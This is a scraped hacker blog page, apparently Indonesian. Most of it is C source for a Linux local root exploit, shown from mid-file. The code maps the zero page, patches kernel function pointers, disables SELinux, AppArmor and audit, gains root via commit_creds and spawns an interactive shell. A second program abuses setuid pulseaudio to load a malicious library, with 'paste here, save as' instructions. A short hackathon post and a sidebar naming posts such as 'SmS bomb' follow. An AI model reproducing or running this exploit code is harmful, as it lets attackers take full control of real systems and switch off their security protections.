PROT_EXEC);         if (ret == -1) {             fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");             return 1;         }     }      fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");      /* make an mmap handler for the tun device at 0x1        mmap fop offset is sizeof(ptr) * 11     */         tun_mmap_fop = (unsigned long *)(get_kernel_sym("tun_fops") + (sizeof(unsigned long) * 11));      selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");     //selinux_enabled = (int *)get_kernel_sym("selinux_enabled");     //selinux_mls_enabled = (int *)get_kernel_sym("selinux_mls_enabled");     //ss_initialized = (int *)get_kernel_sym("ss_initialized");      apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");     apparmor_complain = (int *)get_kernel_sym("apparmor_complain");     apparmor_audit = (int *)get_kernel_sym("apparmor_audit");     apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");      nf_unregister_hooks = (_nf_unregister_hooks)get_kernel_sym("nf_unregister_hooks");     //selinux_ipv4_ops = (unsigned long *)get_kernel_sym("selinux_ipv4_ops");     //selinux_ipv6_ops = (unsigned long *)get_kernel_sym("selinux_ipv6_ops");      security_ops = (unsigned long *)get_kernel_sym("security_ops");     default_security_ops = get_kernel_sym("default_security_ops");      //sel_read_bool = get_kernel_sym("sel_read_bool");     sel_read_enforce = get_kernel_sym("sel_read_enforce");     //security_get_bool_value = get_kernel_sym("security_get_bool_value");      //mmap_min_addr = (unsigned long *)get_kernel_sym("mmap_min_addr");      audit_enabled = (int *)get_kernel_sym("audit_enabled");      commit_creds = (_commit_creds)get_kernel_sym("commit_creds");     init_cred = get_kernel_sym("init_cred");      //sel_fs_type = get_kernel_sym("sel_fs_type");     //unregister_filesystem = (_unregister_filesystem)get_kernel_sym("unregister_filesystem");      /* we don't really need to use the NULL mapping for the kernel to redirect to        since I could have OR'd another byte in the address and turned it into        a regular allocation area.  Furthermore, this code can be placed            into a file and mmap'd RX to bypass any runtime W^X checks     */     or_one_to_kernel_address((unsigned long)tun_mmap_fop);      /* two cases, fancy trickery */     if (sizeof(unsigned int) != sizeof(unsigned long)) {         // 64bit         *(char *)1 = '\xff';         *(char *)2 = '\x25';         *(unsigned int *)3 = 0; // pc-relative and such yes ;)         *(unsigned long *)(3 + 4) = (unsigned long)&own_the_kernel;     } else {         // 32bit         *(char *)1 = '\xe9';         *(unsigned long *)2 = (unsigned long)&own_the_kernel - 6;     }      boom_goes_the_dynamite();      {         char *msg;         switch (what_we_do) {             case 1:                 msg = "AppArmor";                 break;             case 2:                 msg = "SELinux";                 break;             case 3:                 msg = "LSM";                 break;             default:                 msg = "nothing, what an insecure machine!";         }         fprintf(stdout, " [+] Disabled security of : %s\n", msg);     }     if (got_root == 1)         fprintf(stdout, " [+] Got root!\n");     else {         fprintf(stdout, " [+] Failed to get root :( Something's wrong.  Maybe the kernel isn't vulnerable?\n");         exit(0);     }     fprintf(stdout, " [+] BAM! About to launch your rootshell!...but first some chit-chat...\n");     sleep(3);     fprintf(stdout, "           ,        ,\n");     fprintf(stdout, "          /(_,    ,_)\\\n");     fprintf(stdout, "          \\ _/    \\_ /\n");     fprintf(stdout, "          //        \\\\\n");     fprintf(stdout, "          \\\\ (@)(@) //\n");     fprintf(stdout, "           \\'=\"==\"='/\n");     fprintf(stdout, "       ,===/        \\===,\n");     fprintf(stdout, "      \",===\\        /===,\"\n");     fprintf(stdout, "      \" ,==='------'===, \"\n");     fprintf(stdout, "       \"                \"\n");     fprintf(stdout, "Do you know the deadliest catch?\n");     {         char buf[20];         fgets(buf, sizeof(buf)-1, stdin);     }     sleep(1);     fprintf(stdout, "That's right! MAN is the deadliest catch of all!\n");     sleep(2);     {         char wait[] = "WAIIIIIIIIIITTTT....";         int i;         for (i = 0; i < sizeof(wait); i++) {             fprintf(stdout, "%c", wait[i]);             fflush(stdout);             usleep(200 * 1000);         }     }     fprintf(stdout, "do you hear it?\n");     sleep(2);     fprintf(stdout, "You hear it! You do too! It's not just me!  It's here, it's here I say!!\n");     sleep(3);     fprintf(stdout, "I must face this....\n");     fprintf(stdout, "\x7");     fflush(stdout);     sleep(1);     fprintf(stdout, "\x7");     fflush(stdout);     sleep(1);     fprintf(stdout, "\x7");     fflush(stdout);     sleep(1);      fprintf(stdout, "What's this? Something stirs within the beast's belly! Something unexpected");     fflush(stdout);     usleep(500 * 1000);     fprintf(stdout, ".");     fflush(stdout);     usleep(500 * 1000);     fprintf(stdout, ".");     fflush(stdout);     usleep(500 * 1000);     fprintf(stdout, ".");     fflush(stdout);     usleep(500 * 1000);     fprintf(stdout, ".");     fflush(stdout);     usleep(500 * 1000);     fprintf(stdout, "\n");     sleep(3);      execl("/bin/sh", "/bin/sh", "-i", NULL);      return 0; }  void pa__done(void *m) {     return; }  int main(void) {   pa__init(NULL); }  /* A clock struck noon; Lucien rose.  The metamorphosis was complete:    a graceful, uncertain adolescent had entered this cafe one hour    earlier; now a man left, a leader among Frenchmen.  Lucien took a few    steps in the glorious light of a French morning.  At the corner of    Rue des Ecoles and the Boulevard Saint-Michel he went towards a    stationery shop and looked at himself in the mirror: he would have    liked to find on his own face the impenetrable look he admired on    Lemordant's.  But the mirror only reflected a pretty, headstrong    little face that was not yet terrible.  "I'll grow a moustache,"    he decided. */        /* d21d0f5d64a84e1bdd2a440fcef3265996f3a1fe */

 -----------------------paste here-------------------------------------- 
save file exploits.c   
---------------------cute here---------------------------------------


 
#include 
#include 
#include 
#include 
#include 

#define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
#define PATH_TO_EXPLOIT "/home/spender/exploit.so"

int main(void)
{
   int ret;
   struct stat fstat;

   ret = personality(PER_SVR4);

   if (ret == -1) {
       fprintf(stderr, "Unable to set personality!\n");
       return 0;
   }

   fprintf(stdout, " [+] Personality set to: PER_SVR4\n");

   if (stat(PULSEAUDIO_PATH, &fstat)) {
       fprintf(stderr, "Pulseaudio does not exist!\n");
       return 0;
   }

   if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
       fprintf(stderr, "Pulseaudio is not suid root!\n");
       return 0;
   }
 
   execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);

   return 0;
}


-----------------paste here------------------------

save with pwnkernel.c



Labels: 



On 11/3/09 at 

11:37 PM





Yahoo! Southeast Asia Open Hack Day 2009

WAdowwww...

 Ayo Gabung  Dengan Yahoo, Dalam acara Southeast Asia Open Hack yang di selenggarakan di Indonesia, Jakarta on 21 and 22 November. Kayaknya menyenangkan, soalnya kita  berkesempatan untuk bertemu dengan sesama hacker lainnya di seluruh wilayah!

Siapa yang suka Bermain Di Platform API , BURUAN DAFTAR
Yahoo mempunyai Platform Baru Antar Lain  YAP, YQL, YUI3, Dll

Pendaftaran Mulai dari 21 November '09 - 22 November '09. Pendaftaran akan dimulai pada jam 9:30 pada hari Sabtu , Dan Akan Dilaksanakan DIBalai Kartini pusat Konferensi di CBD Jakarta


Info lebih jelasnya silahkan di klik di http://openhacksea.eventwax.com/open-hack-south-east-asia


tHx

./me
Labels: 



On 11/2/09 at 

9:51 PM






      




My Profile:

      
      


        


Biography:




short story:


      




      

      

      
      
[ Friends Link ]

      
      
[ chat with me ]


      

      

      

      

      




      












            		
      

    

      
      
[ archives ]

      

      
[ Notices ]


    

    

      

      


By title


DDOS on Symbian




Discover Bank login dan citibank




SmS bomb




Again, Indonesia Admin Site System Can not Fix The Vulnerability




cheddar_bay xpl ^_^




Yahoo! Southeast Asia Open Hack Day 2009



By month

2002.03

2002.12

2005.12

2008.11

2009.02

2009.03

2009.04

2009.05

2009.06

2009.07

2009.08

2009.09

2009.10

2009.11

2009.12

2010.01

2010.03


		
	





			
		
		
				

      
      





       

    


  

  





  

  

    


      
      
elv1n4 Themes  v2.0.0  © 2009 by elv1n4 


    

  

www[dot]elv1n4.anti-sec[dot]org